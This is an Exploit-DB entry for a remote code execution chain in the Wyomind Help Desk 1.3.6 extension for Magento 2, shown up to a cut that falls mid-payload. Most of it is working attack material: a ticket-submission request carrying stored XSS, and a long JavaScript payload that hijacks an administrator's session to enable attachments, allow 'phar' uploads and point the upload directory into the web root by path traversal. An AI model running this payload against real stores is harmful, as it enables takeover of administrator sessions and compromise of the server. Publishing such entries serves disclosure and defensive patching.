Exploit-DB #50113
Description: Wyomind Help Desk 1.3.6 - Remote Code Execution (RCE)
Type: webapps
Platform: multiple
Date: 2021-07-08
Author: Patrik Lantz

Exploit:
# Exploit Title: Wyomind Help Desk 1.3.6 - Remote Code Execution (RCE) 
# Date: 2021-07-07
# Exploit Author: Patrik Lantz
# Vendor Homepage: https://www.wyomind.com/magento2/helpdesk-magento-2.html
# Version: <= 1.3.6
# Tested on: Ubuntu 18.04-20.04, Apache, PHP 7.2, Magento 2


The Mangento 2 Help Desk extension from Wyomind up to and including version 1.3.6 is vunerable to stored XSS, directory traversal and  unrestricted upload of a dangerous file type. These vulnerabilites combined could lead to code execution.

A XSS payload can be sent via the ticket message from the front-end in the 'Support - My tickets' section. 
The payload is triggered when an administrator views the ticket in the Magento 2 backend. The following request enable
the delivery of the XSS payload:

POST /helpdesk/customer/ticket_save/ HTTP/1.1
Host: <redacted>
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]127196635
Content-Length: 683
Origin: https://<redacted>
Connection: close
Referer: https://<redacted>/helpdesk/customer/ticket_view/
Cookie: <redacted>
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]127196635
Content-Disposition: form-data; name="form_key"

<redacted>
----------------------------[PII_REDACTED][PII_REDACTED]127196635
Content-Disposition: form-data; name="object"

Hello
----------------------------[PII_REDACTED][PII_REDACTED]127196635
Content-Disposition: form-data; name="message_cc"


----------------------------[PII_REDACTED][PII_REDACTED]127196635
Content-Disposition: form-data; name="content"

<p><script>alert(1)</script></p>
----------------------------[PII_REDACTED][PII_REDACTED]127196635
Content-Disposition: form-data; name="hideit"


----------------------------[PII_REDACTED][PII_REDACTED]127196635--



The following XSS payload shown below can be used to trigger 

1) Enabling file attachments in ticket messages
2) Adding 'phar' to allowed file extensions
3) Setting the attachment directory to 'helpdesk/files/../../../pub'


<script>
function successListener(e) {    
	var doc = e.target.response
	var action=doc.getElementById('config-edit-form').action;
	
	function submitRequest()
	{
	var formKey = FORM_KEY;
	var xhr = new XMLHttpRequest();
	xhr.open("POST", action, true);
	xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]667966053");
	xhr.withCredentials = true;
	var body = "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"form_key\"\r\n" + 
	  "\r\n" + 
	  formKey + "\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_license]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_general]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][enabled][value]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][log][value]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][default_email][value]\"\r\n" + 
	  "\r\n" + 
	  "\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][default_status][value]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][pending_status][value]\"\r\n" + 
	  "\r\n" + 
	  "2\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][closed_status][value]\"\r\n" + 
	  "\r\n" + 
	  "3\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][ticket_prefix][value]\"\r\n" + 
	  "\r\n" + 
	  "10000\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][fields][menu_label][value]\"\r\n" + 
	  "\r\n" + 
	  "Support - My Tickets\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][fields][top_link_enabled][value]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][fields][attachments][value]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend_attachments_settings]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_extension][value]\"\r\n" + 
	  "\r\n" + 
	  "jpeg,gif,png,pdf,phar\r\n" + 
	  "----------------------------[PII_REDACTED][PII_REDACTED]667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_directory_path][value]\"\r\n" + 
	  "\r\n" + 
	  "helpdesk/files/../../